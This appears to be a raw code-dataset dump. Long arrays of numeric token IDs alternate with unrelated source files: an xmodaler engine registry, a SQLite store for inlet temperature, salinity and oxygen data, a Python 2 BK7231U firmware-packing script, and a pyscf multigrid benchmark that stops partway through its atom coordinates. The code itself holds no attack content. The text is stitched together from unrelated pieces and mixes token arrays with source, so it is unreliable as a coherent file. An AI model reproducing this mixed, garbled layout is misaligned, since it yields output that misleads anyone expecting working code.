1402,
995,
876,
13,
4706,
1683,
29901,
13,
9651,
14770,
29889,
3257,
703,
29912,
29900,
29913,
21313,
29896,
1800,
1642,
4830,
703,
14148,
613,
995,
876,
13,
4706,
14770,
29889,
326,
4294,
29898,
13492,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29918,
2248,
4619,
29871,
29896,
13,
1678,
14770,
29889,
4294,
580,
13,
2
] |
xmodaler/engine/build.py | cclauss/xmodaler | 830 | 68589 | # Copyright 2021 JD.com, Inc., JD AI
"""
@author: <NAME>
@contact: <EMAIL>
"""
from xmodaler.utils.registry import Registry
ENGINE_REGISTRY = Registry("ENGINE")
ENGINE_REGISTRY.__doc__ = """
Registry for engine
"""
def build_engine(cfg):
engine = ENGINE_REGISTRY.get(cfg.ENGINE.NAME)(cfg)
return engine | [
1,
396,
14187,
1266,
29871,
29906,
29900,
29906,
29896,
435,
29928,
29889,
510,
29892,
9266,
1696,
435,
29928,
319,
29902,
13,
15945,
29908,
13,
29992,
8921,
29901,
529,
5813,
29958,
13,
29992,
12346,
29901,
529,
26862,
6227,
29958,
13,
15945,
29908,
13,
3166,
921,
15601,
261,
29889,
13239,
29889,
1727,
6020,
1053,
2169,
6020,
13,
13,
1430,
29954,
8895,
29918,
18166,
9047,
13207,
353,
2169,
6020,
703,
1430,
29954,
8895,
1159,
13,
1430,
29954,
8895,
29918,
18166,
9047,
13207,
17255,
1514,
1649,
353,
9995,
13,
22579,
363,
6012,
13,
15945,
29908,
13,
13,
1753,
2048,
29918,
10599,
29898,
16859,
1125,
13,
1678,
6012,
353,
382,
9312,
8895,
29918,
18166,
9047,
13207,
29889,
657,
29898,
16859,
29889,
1430,
29954,
8895,
29889,
5813,
5033,
16859,
29897,
13,
1678,
736,
6012,
2
] |
inlet_data.py | cyborgsphinx/ios-inlets | 0 | 162199 | from dataclasses import dataclass
import datetime
import logging
import os
import sqlite3
from typing import List, Tuple
sqlite3.paramstyle = "named"
DB_NAME = os.path.join("data", "inlet_data.db")
def _table_name(inlet_name: str) -> str:
return inlet_name.lower().replace(" ", "_")
@dataclass(frozen=True)
class InletData:
time: datetime.datetime
depth: float
value: float
quality: int
longitude: float
latitude: float
source: str
computed: bool = False
assumed_density: bool = False
def as_dict(self):
return {
"time": self.time.isoformat(timespec="microseconds"),
"depth": self.depth,
"value": self.value,
"quality": self.quality,
"longitude": self.longitude,
"latitude": self.latitude,
"source": self.source,
"computed": self.computed,
"assumed_density": self.assumed_density,
}
def _averaged(data: List[InletData]) -> List[InletData]:
"""Perform daily vertical averaging inside depth categories."""
freqs = {}
for datum in data:
source = datum.source
date = datum.time.date()
key = (source, date)
if key not in freqs:
freqs[key] = (0, 0)
total, count = freqs[key]
freqs[key] = (total + datum.value, count + 1)
return [
InletData(d, 0, total / count, 0, 0, 0, fn)
for (fn, d), (total, count) in freqs.items()
]
class InletDb:
def __init__(self, inlet_name: str, clear: bool = False, db_name: str = DB_NAME):
self.name = _table_name(inlet_name)
self.connection = sqlite3.connect(db_name)
self.connection.row_factory = sqlite3.Row
if clear:
self.__clear_data_table()
self.__ensure_data_table()
def __del__(self):
self.connection.close()
def clear(self):
self.__clear_data_table()
def add_temperature_value(self, value: InletData):
try:
self.__add_value(value, "temperature")
except sqlite3.IntegrityError:
logging.exception(
f"Integrity error inserting temperature data ({value}) into database for {self.name}"
)
def add_temperature_data(self, data: List[InletData]):
try:
self.__add_data(data, "temperature")
except sqlite3.IntegrityError:
source = data[0].source
logging.exception(
f"Integrity error inserting temperature data from {source} into database for {self.name}"
)
def get_temperature_data(
self, bucket: Tuple[float, float], average: bool = False
) -> List[InletData]:
data = self.__get_data("temperature", bucket)
if average:
return _averaged(data)
else:
return data
def add_salinity_value(self, value: InletData):
try:
self.__add_value(value, "salinity")
except sqlite3.IntegrityError:
logging.exception(
f"Integrity error inserting salinity data ({value}) into database for {self.name}"
)
def add_salinity_data(self, data: List[InletData]):
try:
self.__add_data(data, "salinity")
except sqlite3.IntegrityError:
source = data[0].source
logging.exception(
f"Integrity error inserting salinity data from {source} into database for {self.name}"
)
def get_salinity_data(
self, bucket: Tuple[float, float], average: bool = False
) -> List[InletData]:
data = self.__get_data("salinity", bucket)
if average:
return _averaged(data)
else:
return data
def add_oxygen_value(self, value: InletData):
try:
self.__add_value(value, "oxygen")
except sqlite3.IntegrityError:
logging.exception(
f"Integrity error inserting oxygen data ({value}) into database for {self.name}"
)
def add_oxygen_data(self, data: List[InletData]):
try:
self.__add_data(data, "oxygen")
except sqlite3.IntegrityError:
source = data[0].source
logging.exception(
f"Integrity error inserting oxygen data from {source} into database for {self.name}"
)
def get_oxygen_data(
self, bucket: Tuple[float, float], average: bool = False
) -> List[InletData]:
data = self.__get_data("oxygen", bucket)
if average:
return _averaged(data)
else:
return data
def __add_value(self, value: InletData, kind: str):
with self.connection:
self.connection.execute(
f"""
insert into {self.name}
values (
:kind,
:source,
:latitude,
:longitude,
:time,
:depth,
:value,
:quality,
:computed,
:assumed_density
)""",
{"kind": kind, **value.as_dict()},
)
def __add_data(self, data: List[InletData], kind: str):
with self.connection:
self.connection.executemany(
f"""
insert into {self.name}
values (
:kind,
:source,
:latitude,
:longitude,
:time,
:depth,
:value,
:quality,
:computed,
:assumed_density
)""",
({"kind": kind, **datum.as_dict()} for datum in data),
)
def __get_data(self, kind: str, bucket: Tuple[float, float]) -> List[InletData]:
min_depth, max_depth = bucket
if min_depth is None and max_depth is None:
cursor = self.connection.execute(
f"""select * from {self.name}
where kind=:kind
""",
{"kind": kind},
)
elif min_depth is None:
cursor = self.connection.execute(
f"""select * from {self.name}
where kind=:kind and depth<=:max
""",
{"kind": kind, "max": max_depth},
)
elif max_depth is None:
cursor = self.connection.execute(
f"""select * from {self.name}
where kind=:kind and depth>=:min
""",
{"kind": kind, "min": min_depth},
)
else:
cursor = self.connection.execute(
f"""select * from {self.name}
where kind=:kind and depth>=:min and depth<=:max
""",
{"kind": kind, "min": min_depth, "max": max_depth},
)
return [
InletData(
source=row["source"],
latitude=row["latitude"],
longitude=row["longitude"],
time=datetime.datetime.fromisoformat(row["time"]),
depth=row["depth"],
value=row["value"],
quality=row["quality"],
computed=(row["computed"] > 0),
assumed_density=(row["assumed_density"] > 0),
)
for row in cursor
]
def __ensure_data_table(self):
if not self.__has_data_table():
with self.connection:
self.connection.execute(
f"""
create table {self.name} (
kind text not null,
source text not null,
latitude real not null,
longitude real not null,
time text not null,
depth real not null,
value real not null,
quality integer not null,
computed integer not null,
assumed_density integer not null
)"""
)
def __clear_data_table(self):
if self.__has_data_table():
with self.connection:
self.connection.execute(f"""drop table {self.name}""")
def __has_data_table(self):
cursor = self.connection.execute(
f"""
select count(name)
from sqlite_master
where type='table' and name='{self.name}'
"""
)
return cursor.fetchone()[0] > 0
| [
1,
515,
848,
13203,
1053,
848,
1990,
13,
5215,
12865,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
21120,
29941,
13,
3166,
19229,
1053,
2391,
29892,
12603,
552,
13,
13,
13,
22793,
29941,
29889,
3207,
3293,
353,
376,
17514,
29908,
13,
4051,
29918,
5813,
353,
2897,
29889,
2084,
29889,
7122,
703,
1272,
613,
376,
262,
1026,
29918,
1272,
29889,
2585,
1159,
13,
13,
13,
1753,
903,
2371,
29918,
978,
29898,
262,
1026,
29918,
978,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
736,
297,
1026,
29918,
978,
29889,
13609,
2141,
6506,
703,
9162,
11119,
1159,
13,
13,
13,
29992,
1272,
1990,
29898,
29888,
307,
2256,
29922,
5574,
29897,
13,
1990,
512,
1026,
1469,
29901,
13,
1678,
931,
29901,
12865,
29889,
12673,
13,
1678,
10809,
29901,
5785,
13,
1678,
995,
29901,
5785,
13,
1678,
11029,
29901,
938,
13,
1678,
28745,
29901,
5785,
13,
1678,
26271,
29901,
5785,
13,
1678,
2752,
29901,
851,
13,
1678,
15712,
29901,
6120,
353,
7700,
13,
1678,
12023,
29918,
21518,
537,
29901,
6120,
353,
7700,
13,
13,
1678,
822,
408,
29918,
8977,
29898,
1311,
1125,
13,
4706,
736,
426,
13,
9651,
376,
2230,
1115,
1583,
29889,
2230,
29889,
10718,
4830,
29898,
3706,
3135,
543,
29885,
2357,
23128,
4968,
13,
9651,
376,
19488,
1115,
1583,
29889,
19488,
29892,
13,
9651,
376,
1767,
1115,
1583,
29889,
1767,
29892,
13,
9651,
376,
29567,
1115,
1583,
29889,
29567,
29892,
13,
9651,
376,
5426,
4279,
1115,
1583,
29889,
5426,
4279,
29892,
13,
9651,
376,
5066,
4279,
1115,
1583,
29889,
5066,
4279,
29892,
13,
9651,
376,
4993,
1115,
1583,
29889,
4993,
29892,
13,
9651,
376,
12097,
287,
1115,
1583,
29889,
12097,
287,
29892,
13,
9651,
376,
465,
21571,
29918,
21518,
537,
1115,
1583,
29889,
465,
21571,
29918,
21518,
537,
29892,
13,
4706,
500,
13,
13,
13,
1753,
903,
12483,
4063,
29898,
1272,
29901,
2391,
29961,
797,
1026,
1469,
2314,
1599,
2391,
29961,
797,
1026,
1469,
5387,
13,
1678,
9995,
5894,
689,
14218,
11408,
4759,
6751,
2768,
10809,
13997,
1213,
15945,
13,
1678,
3005,
29939,
29879,
353,
6571,
13,
1678,
363,
1418,
398,
297,
848,
29901,
13,
4706,
2752,
353,
1418,
398,
29889,
4993,
13,
4706,
2635,
353,
1418,
398,
29889,
2230,
29889,
1256,
580,
13,
4706,
1820,
353,
313,
4993,
29892,
2635,
29897,
13,
4706,
565,
1820,
451,
297,
3005,
29939,
29879,
29901,
13,
9651,
3005,
29939,
29879,
29961,
1989,
29962,
353,
313,
29900,
29892,
29871,
29900,
29897,
13,
4706,
3001,
29892,
2302,
353,
3005,
29939,
29879,
29961,
1989,
29962,
13,
4706,
3005,
29939,
29879,
29961,
1989,
29962,
353,
313,
7827,
718,
1418,
398,
29889,
1767,
29892,
2302,
718,
29871,
29896,
29897,
13,
1678,
736,
518,
13,
4706,
512,
1026,
1469,
29898,
29881,
29892,
29871,
29900,
29892,
3001,
847,
2302,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
7876,
29897,
13,
4706,
363,
313,
9144,
29892,
270,
511,
313,
7827,
29892,
2302,
29897,
297,
3005,
29939,
29879,
29889,
7076,
580,
13,
1678,
4514,
13,
13,
13,
1990,
512,
1026,
10234,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
1026,
29918,
978,
29901,
851,
29892,
2821,
29901,
6120,
353,
7700,
29892,
4833,
29918,
978,
29901,
851,
353,
6535,
29918,
5813,
1125,
13,
4706,
1583,
29889,
978,
353,
903,
2371,
29918,
978,
29898,
262,
1026,
29918,
978,
29897,
13,
4706,
1583,
29889,
9965,
353,
21120,
29941,
29889,
6915,
29898,
2585,
29918,
978,
29897,
13,
4706,
1583,
29889,
9965,
29889,
798,
29918,
14399,
353,
21120,
29941,
29889,
4301,
13,
4706,
565,
2821,
29901,
13,
9651,
1583,
17255,
8551,
29918,
1272,
29918,
2371,
580,
13,
4706,
1583,
17255,
7469,
29918,
1272,
29918,
2371,
580,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
1583,
29889,
9965,
29889,
5358,
580,
13,
13,
1678,
822,
2821,
29898,
1311,
1125,
13,
4706,
1583,
17255,
8551,
29918,
1272,
29918,
2371,
580,
13,
13,
1678,
822,
788,
29918,
12863,
1535,
29918,
1767,
29898,
1311,
29892,
995,
29901,
512,
1026,
1469,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1767,
29898,
1767,
29892,
376,
12863,
1535,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
10430,
848,
21313,
1767,
1800,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
788,
29918,
12863,
1535,
29918,
1272,
29898,
1311,
29892,
848,
29901,
2391,
29961,
797,
1026,
1469,
29962,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1272,
29898,
1272,
29892,
376,
12863,
1535,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
2752,
353,
848,
29961,
29900,
1822,
4993,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
10430,
848,
515,
426,
4993,
29913,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
679,
29918,
12863,
1535,
29918,
1272,
29898,
13,
4706,
1583,
29892,
20968,
29901,
12603,
552,
29961,
7411,
29892,
5785,
1402,
6588,
29901,
6120,
353,
7700,
13,
1678,
1723,
1599,
2391,
29961,
797,
1026,
1469,
5387,
13,
4706,
848,
353,
1583,
17255,
657,
29918,
1272,
703,
12863,
1535,
613,
20968,
29897,
13,
4706,
565,
6588,
29901,
13,
9651,
736,
903,
12483,
4063,
29898,
1272,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
848,
13,
13,
1678,
822,
788,
29918,
19585,
13593,
29918,
1767,
29898,
1311,
29892,
995,
29901,
512,
1026,
1469,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1767,
29898,
1767,
29892,
376,
19585,
13593,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
4497,
13593,
848,
21313,
1767,
1800,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
788,
29918,
19585,
13593,
29918,
1272,
29898,
1311,
29892,
848,
29901,
2391,
29961,
797,
1026,
1469,
29962,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1272,
29898,
1272,
29892,
376,
19585,
13593,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
2752,
353,
848,
29961,
29900,
1822,
4993,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
4497,
13593,
848,
515,
426,
4993,
29913,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
679,
29918,
19585,
13593,
29918,
1272,
29898,
13,
4706,
1583,
29892,
20968,
29901,
12603,
552,
29961,
7411,
29892,
5785,
1402,
6588,
29901,
6120,
353,
7700,
13,
1678,
1723,
1599,
2391,
29961,
797,
1026,
1469,
5387,
13,
4706,
848,
353,
1583,
17255,
657,
29918,
1272,
703,
19585,
13593,
613,
20968,
29897,
13,
4706,
565,
6588,
29901,
13,
9651,
736,
903,
12483,
4063,
29898,
1272,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
848,
13,
13,
1678,
822,
788,
29918,
2251,
29891,
1885,
29918,
1767,
29898,
1311,
29892,
995,
29901,
512,
1026,
1469,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1767,
29898,
1767,
29892,
376,
2251,
29891,
1885,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
288,
28596,
848,
21313,
1767,
1800,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
788,
29918,
2251,
29891,
1885,
29918,
1272,
29898,
1311,
29892,
848,
29901,
2391,
29961,
797,
1026,
1469,
29962,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
17255,
1202,
29918,
1272,
29898,
1272,
29892,
376,
2251,
29891,
1885,
1159,
13,
4706,
5174,
21120,
29941,
29889,
23573,
537,
2392,
29901,
13,
9651,
2752,
353,
848,
29961,
29900,
1822,
4993,
13,
9651,
12183,
29889,
11739,
29898,
13,
18884,
285,
29908,
23573,
537,
1059,
23800,
288,
28596,
848,
515,
426,
4993,
29913,
964,
2566,
363,
426,
1311,
29889,
978,
5038,
13,
9651,
1723,
13,
13,
1678,
822,
679,
29918,
2251,
29891,
1885,
29918,
1272,
29898,
13,
4706,
1583,
29892,
20968,
29901,
12603,
552,
29961,
7411,
29892,
5785,
1402,
6588,
29901,
6120,
353,
7700,
13,
1678,
1723,
1599,
2391,
29961,
797,
1026,
1469,
5387,
13,
4706,
848,
353,
1583,
17255,
657,
29918,
1272,
703,
2251,
29891,
1885,
613,
20968,
29897,
13,
4706,
565,
6588,
29901,
13,
9651,
736,
903,
12483,
4063,
29898,
1272,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
848,
13,
13,
1678,
822,
4770,
1202,
29918,
1767,
29898,
1311,
29892,
995,
29901,
512,
1026,
1469,
29892,
2924,
29901,
851,
1125,
13,
4706,
411,
1583,
29889,
9965,
29901,
13,
9651,
1583,
29889,
9965,
29889,
7978,
29898,
13,
18884,
285,
15945,
29908,
13,
18884,
4635,
964,
426,
1311,
29889,
978,
29913,
13,
18884,
1819,
313,
13,
462,
1678,
584,
14380,
29892,
13,
462,
1678,
584,
4993,
29892,
13,
462,
1678,
584,
5066,
4279,
29892,
13,
462,
1678,
584,
5426,
4279,
29892,
13,
462,
1678,
584,
2230,
29892,
13,
462,
1678,
584,
19488,
29892,
13,
462,
1678,
584,
1767,
29892,
13,
462,
1678,
584,
29567,
29892,
13,
462,
1678,
584,
12097,
287,
29892,
13,
462,
1678,
584,
465,
21571,
29918,
21518,
537,
13,
18884,
1723,
15945,
613,
13,
18884,
8853,
14380,
1115,
2924,
29892,
3579,
1767,
29889,
294,
29918,
8977,
580,
1118,
13,
9651,
1723,
13,
13,
1678,
822,
4770,
1202,
29918,
1272,
29898,
1311,
29892,
848,
29901,
2391,
29961,
797,
1026,
1469,
1402,
2924,
29901,
851,
1125,
13,
4706,
411,
1583,
29889,
9965,
29901,
13,
9651,
1583,
29889,
9965,
29889,
4258,
329,
331,
1384,
29898,
13,
18884,
285,
15945,
29908,
13,
18884,
4635,
964,
426,
1311,
29889,
978,
29913,
13,
18884,
1819,
313,
13,
462,
1678,
584,
14380,
29892,
13,
462,
1678,
584,
4993,
29892,
13,
462,
1678,
584,
5066,
4279,
29892,
13,
462,
1678,
584,
5426,
4279,
29892,
13,
462,
1678,
584,
2230,
29892,
13,
462,
1678,
584,
19488,
29892,
13,
462,
1678,
584,
1767,
29892,
13,
462,
1678,
584,
29567,
29892,
13,
462,
1678,
584,
12097,
287,
29892,
13,
462,
1678,
584,
465,
21571,
29918,
21518,
537,
13,
18884,
1723,
15945,
613,
13,
18884,
313,
6377,
14380,
1115,
2924,
29892,
3579,
4130,
398,
29889,
294,
29918,
8977,
28296,
363,
1418,
398,
297,
848,
511,
13,
9651,
1723,
13,
13,
1678,
822,
4770,
657,
29918,
1272,
29898,
1311,
29892,
2924,
29901,
851,
29892,
20968,
29901,
12603,
552,
29961,
7411,
29892,
5785,
2314,
1599,
2391,
29961,
797,
1026,
1469,
5387,
13,
4706,
1375,
29918,
19488,
29892,
4236,
29918,
19488,
353,
20968,
13,
4706,
565,
1375,
29918,
19488,
338,
6213,
322,
4236,
29918,
19488,
338,
6213,
29901,
13,
9651,
10677,
353,
1583,
29889,
9965,
29889,
7978,
29898,
13,
18884,
285,
15945,
29908,
2622,
334,
515,
426,
1311,
29889,
978,
29913,
13,
18884,
988,
2924,
29922,
29901,
14380,
13,
18884,
5124,
613,
13,
18884,
8853,
14380,
1115,
2924,
1118,
13,
9651,
1723,
13,
4706,
25342,
1375,
29918,
19488,
338,
6213,
29901,
13,
9651,
10677,
353,
1583,
29889,
9965,
29889,
7978,
29898,
13,
18884,
285,
15945,
29908,
2622,
334,
515,
426,
1311,
29889,
978,
29913,
13,
18884,
988,
2924,
29922,
29901,
14380,
322,
10809,
14065,
29901,
3317,
13,
18884,
5124,
613,
13,
18884,
8853,
14380,
1115,
2924,
29892,
376,
3317,
1115,
4236,
29918,
19488,
1118,
13,
9651,
1723,
13,
4706,
25342,
4236,
29918,
19488,
338,
6213,
29901,
13,
9651,
10677,
353,
1583,
29889,
9965,
29889,
7978,
29898,
13,
18884,
285,
15945,
29908,
2622,
334,
515,
426,
1311,
29889,
978,
29913,
13,
18884,
988,
2924,
29922,
29901,
14380,
322,
10809,
18572,
29901,
1195,
13,
18884,
5124,
613,
13,
18884,
8853,
14380,
1115,
2924,
29892,
376,
1195,
1115,
1375,
29918,
19488,
1118,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
10677,
353,
1583,
29889,
9965,
29889,
7978,
29898,
13,
18884,
285,
15945,
29908,
2622,
334,
515,
426,
1311,
29889,
978,
29913,
13,
18884,
988,
2924,
29922,
29901,
14380,
322,
10809,
18572,
29901,
1195,
322,
10809,
14065,
29901,
3317,
13,
18884,
5124,
613,
13,
18884,
8853,
14380,
1115,
2924,
29892,
376,
1195,
1115,
1375,
29918,
19488,
29892,
376,
3317,
1115,
4236,
29918,
19488,
1118,
13,
9651,
1723,
13,
4706,
736,
518,
13,
9651,
512,
1026,
1469,
29898,
13,
18884,
2752,
29922,
798,
3366,
4993,
12436,
13,
18884,
26271,
29922,
798,
3366,
5066,
4279,
12436,
13,
18884,
28745,
29922,
798,
3366,
5426,
4279,
12436,
13,
18884,
931,
29922,
12673,
29889,
12673,
29889,
3166,
10718,
4830,
29898,
798,
3366,
2230,
3108,
511,
13,
18884,
10809,
29922,
798,
3366,
19488,
12436,
13,
18884,
995,
29922,
798,
3366,
1767,
12436,
13,
18884,
11029,
29922,
798,
3366,
29567,
12436,
13,
18884,
15712,
7607,
798,
3366,
12097,
287,
3108,
1405,
29871,
29900,
511,
13,
18884,
12023,
29918,
21518,
537,
7607,
798,
3366,
465,
21571,
29918,
21518,
537,
3108,
1405,
29871,
29900,
511,
13,
9651,
1723,
13,
9651,
363,
1948,
297,
10677,
13,
4706,
4514,
13,
13,
1678,
822,
4770,
7469,
29918,
1272,
29918,
2371,
29898,
1311,
1125,
13,
4706,
565,
451,
1583,
17255,
5349,
29918,
1272,
29918,
2371,
7295,
13,
9651,
411,
1583,
29889,
9965,
29901,
13,
18884,
1583,
29889,
9965,
29889,
7978,
29898,
13,
462,
1678,
285,
15945,
29908,
13,
462,
1678,
1653,
1591,
426,
1311,
29889,
978,
29913,
313,
13,
462,
4706,
2924,
1426,
451,
1870,
29892,
13,
462,
4706,
2752,
1426,
451,
1870,
29892,
13,
462,
4706,
26271,
1855,
451,
1870,
29892,
13,
462,
4706,
28745,
1855,
451,
1870,
29892,
13,
462,
4706,
931,
1426,
451,
1870,
29892,
13,
462,
4706,
10809,
1855,
451,
1870,
29892,
13,
462,
4706,
995,
1855,
451,
1870,
29892,
13,
462,
4706,
11029,
6043,
451,
1870,
29892,
13,
462,
4706,
15712,
6043,
451,
1870,
29892,
13,
462,
4706,
12023,
29918,
21518,
537,
6043,
451,
1870,
13,
462,
1678,
1723,
15945,
29908,
13,
18884,
1723,
13,
13,
1678,
822,
4770,
8551,
29918,
1272,
29918,
2371,
29898,
1311,
1125,
13,
4706,
565,
1583,
17255,
5349,
29918,
1272,
29918,
2371,
7295,
13,
9651,
411,
1583,
29889,
9965,
29901,
13,
18884,
1583,
29889,
9965,
29889,
7978,
29898,
29888,
15945,
29908,
8865,
1591,
426,
1311,
29889,
978,
5038,
29908,
1159,
13,
13,
1678,
822,
4770,
5349,
29918,
1272,
29918,
2371,
29898,
1311,
1125,
13,
4706,
10677,
353,
1583,
29889,
9965,
29889,
7978,
29898,
13,
9651,
285,
15945,
29908,
13,
9651,
1831,
2302,
29898,
978,
29897,
13,
9651,
515,
21120,
29918,
6207,
13,
9651,
988,
1134,
2433,
2371,
29915,
322,
1024,
2433,
29912,
1311,
29889,
978,
10162,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
736,
10677,
29889,
9155,
650,
580,
29961,
29900,
29962,
1405,
29871,
29900,
13,
2
] |
tools/bk7231u/gen_firmware_img.py | Ai-Thinker-Open/Ai-Thinker-Open_ALIOS_DEV | 12 | 192247 | <filename>tools/bk7231u/gen_firmware_img.py
import os
import sys
import struct
import zlib
import time
def pack_image(fw_file, boot_file):
print 'app file_name:', fw_file
print 'boot file_name:', boot_file
fname = os.path.splitext(fw_file)
f = file(boot_file, 'rb')
bootloader = f.read()
f.close()
f = file(fw_file, 'rb')
data_fw = f.read()
f.close()
f = file(fname[0] + '_all.bin', 'wb')
i = len(bootloader)
f.write(bootloader)
j = 0x11000 - i
i = 0
while i < j:
i += 1
f.write("\xff")
f.write(data_fw)
f.close();
if __name__ == "__main__":
if len(sys.argv) < 2:
print sys.argv[0], "firmware file"
exit(0)
pack_image(sys.argv[1], sys.argv[2])
| [
1,
529,
9507,
29958,
8504,
29914,
29890,
29895,
29955,
29906,
29941,
29896,
29884,
29914,
1885,
29918,
29888,
3568,
2519,
29918,
2492,
29889,
2272,
13,
5215,
2897,
30004,
13,
5215,
10876,
30004,
13,
5215,
2281,
30004,
13,
5215,
503,
1982,
30004,
13,
5215,
931,
30004,
13,
30004,
13,
1753,
4870,
29918,
3027,
29898,
25051,
29918,
1445,
29892,
6579,
29918,
1445,
1125,
30004,
13,
30004,
13,
1678,
1596,
525,
932,
934,
29918,
978,
29901,
742,
285,
29893,
29918,
1445,
6756,
13,
1678,
1596,
525,
4777,
934,
29918,
978,
29901,
742,
6579,
29918,
1445,
30004,
13,
30004,
13,
1678,
285,
978,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
25051,
29918,
1445,
8443,
13,
1678,
285,
353,
934,
29898,
4777,
29918,
1445,
29892,
525,
6050,
1495,
30004,
13,
1678,
6579,
12657,
353,
285,
29889,
949,
26471,
13,
1678,
285,
29889,
5358,
26471,
13,
30004,
13,
1678,
285,
353,
934,
29898,
25051,
29918,
1445,
29892,
525,
6050,
1495,
30004,
13,
1678,
848,
29918,
25051,
353,
285,
29889,
949,
26471,
13,
1678,
285,
29889,
5358,
26471,
13,
30004,
13,
1678,
285,
353,
934,
29898,
29888,
978,
29961,
29900,
29962,
718,
22868,
497,
29889,
2109,
742,
525,
29893,
29890,
1495,
30004,
13,
1678,
474,
353,
7431,
29898,
4777,
12657,
8443,
13,
1678,
6756,
13,
1678,
285,
29889,
3539,
29898,
4777,
12657,
8443,
13,
30004,
13,
1678,
432,
353,
29871,
29900,
29916,
29896,
29896,
29900,
29900,
29900,
448,
474,
30004,
13,
1678,
474,
353,
29871,
29900,
6756,
13,
1678,
1550,
474,
529,
432,
29901,
30004,
13,
4706,
474,
4619,
29871,
29896,
30004,
13,
4706,
285,
29889,
3539,
14182,
29916,
600,
1159,
30004,
13,
30004,
13,
1678,
285,
29889,
3539,
29898,
1272,
29918,
25051,
8443,
13,
1678,
285,
29889,
5358,
14078,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
529,
29871,
29906,
29901,
30004,
13,
4706,
1596,
10876,
29889,
19218,
29961,
29900,
1402,
376,
29888,
3568,
2519,
934,
19451,
13,
4706,
6876,
29898,
29900,
8443,
13,
1678,
4870,
29918,
3027,
29898,
9675,
29889,
19218,
29961,
29896,
1402,
10876,
29889,
19218,
29961,
29906,
2314,
30004,
13,
2
] |
examples/2-benchmark/fock_multigrid.py | QuESt-Calculator/pyscf | 8 | 196588 | #!/usr/bin/env python
import os
import time
import numpy as np
import pyscf
from pyscf.pbc.dft import multigrid
log = pyscf.lib.logger.Logger(verbose=5)
with open('/proc/cpuinfo') as f:
for line in f:
if 'model name' in line:
log.note(line[:-1])
break
with open('/proc/meminfo') as f:
log.note(f.readline()[:-1])
log.note('OMP_NUM_THREADS=%s\n', os.environ.get('OMP_NUM_THREADS', None))
boxlen = 12.4138
cell0 = pyscf.M(a = np.eye(3) * boxlen,
atom = """
O 12.235322 1.376642 10.869880
O 6.445390 3.706940 8.650794
O 0.085977 2.181322 8.276663
O 12.052554 2.671366 2.147199
O 12.250036 4.190930 12.092014
O 7.187422 0.959062 4.733469
O 8.346457 7.210040 4.667644
O 12.361546 11.527875 8.106887
O 3.299984 4.440816 9.193275
O 2.855829 3.759909 6.552815
O 1.392494 6.362753 0.586172
O 1.858645 8.694013 2.068738
O 3.770231 12.094519 8.652183
O 6.432508 3.669828 2.772418
O 1.998724 1.820217 4.876440
O 8.248581 2.404730 6.931303
O 5.753814 3.360029 12.461534
O 11.322212 5.649239 2.236798
O 4.277318 2.113956 10.590808
O 5.405015 3.349247 5.484702
O 6.493278 11.869958 0.684912
O 3.275250 2.346576 2.425241
O 7.981003 6.352512 7.507970
O 5.985990 6.512854 12.194648
O 10.636714 11.856872 12.209540
O 9.312283 3.670384 3.508594
O 1.106885 5.830301 6.638695
O 8.008007 3.326363 10.869818
O 12.403000 9.687405 11.761901
O 4.219782 7.085315 8.153470
O 3.781557 8.203821 11.563272
O 11.088898 4.532081 7.809475
O 10.387548 8.408890 1.017882
O 1.979016 6.418091 10.374159
O 4.660547 0.549666 5.617403
O 8.745880 12.256257 8.089383
O 2.662041 10.489890 0.092980
O 7.241661 10.471815 4.226946
O 2.276827 0.276647 10.810417
O 8.887733 0.946877 1.333885
O 1.943554 8.088552 7.567650
O 9.667942 8.056759 9.868847
O 10.905491 8.339638 6.484782
O 3.507733 4.862402 1.557439
O 8.010457 8.642846 12.055969
O 8.374446 10.035932 6.690309
